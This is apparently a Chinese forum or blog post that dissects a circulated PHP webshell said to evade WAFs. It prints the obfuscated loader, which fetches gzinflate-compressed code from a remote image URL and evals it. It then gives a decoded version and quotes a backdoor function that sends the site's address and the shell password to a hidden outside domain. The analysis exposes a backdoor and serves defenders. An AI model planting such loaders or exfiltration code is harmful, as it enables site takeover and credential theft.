有人分享了一个php大马(说是过waf),八成有后门,简单分析了一次
<?php $password='Shiqi';//登录密码(支持菜刀) //----------功能程序------------------// $c="chr"; session_start(); if(empty($_SESSION['PhpCode'])){ $url=$c(104).$c(116).$c(116).$c(112).$c(58).$c(47); $url.=$c(47).$c(105).$c(46).$c(110).$c(105).$c(117); $url.=$c(112).$c(105).$c(99).$c(46).$c(99).$c(111); $url.=$c(109).$c(47).$c(105).$c(109).$c(97).$c(103); $url.=$c(101).$c(115).$c(47).$c(50).$c(48).$c(49).$c(55); $url.=$c(47).$c(48).$c(53).$c(47).$c(50).$c(49).$c(47); $url.=$c(118).$c(49).$c(81).$c(82).$c(49).$c(77).$c(46).$c(103).$c(105).$c(102); $get=chr(102).chr(105).chr(108).chr(101).chr(95); $get.=chr(103).chr(101).chr(116).chr(95).chr(99); $get.=chr(111).chr(110).chr(116).chr(101).chr(110); $get.=chr(116).chr(115); $_SESSION['PhpCode']=$get($url);} $un=$c(103).$c(122).$c(105).$c(110); $un.=$c(102).$c(108).$c(97).$c(116).$c(base64_decode('MTAx')); @eval($un($_SESSION['PhpCode'])); ?>
一共有三个变量,$url、$get、$un,首先对着几个变量ascii转成字符串,看看是什么,用echo输出即可。
就是个简单的基于base64加gzinflate加密
还原一下:
<?php $password='Shiqi';//登录密码(支持菜刀) //----------功能程序------------------// session_start(); if(empty($_SESSION['PhpCode'])){ $url = "http://i.niupic.com/images/2017/05/21/v1QR1M.gif"; $get = "file_get_contents"; $_SESSION['PhpCode']=$get($url);} $un = "gzinflate"; @eval($un($_SESSION['PhpCode'])); ?>
现在马子的路数很清楚了 通过远程下载主力代码
到这儿我们还是没发现后门,通过wget下载v1QR1M.gif改后缀txt乱码(gzinflate压缩编码本该乱码)
后门部分:
if(isset($_GET['login'])=='geturl'){ @set_time_limit(10); $serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; $serverp = envlpass; $copyurl = base64_decode('SFRUUDovL1dXVy5GQUNFQjBPSy5DQy9lcnJvci5waHA/bmFtZT0='); $url=$copyurl.$serveru.'&pass='.$serverp; $url=urldecode($url); GetHtml($url); } function geturl(){ @set_time_limit(10); $serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; $serverp = envlpass; $copyurl = base64_decode(''); $url=$copyurl.$serveru.'&p='.$serverp; $url=urldecode($url); GetHtml($url); }
在1416行
SFRUUDovL1dXVy5GQUNFQjBPSy5DQy9lcnJvci5waHA/bmFtZT0=通过解码得出后门地址HTTP://WWW.FACEB0OK.CC/error.php?name=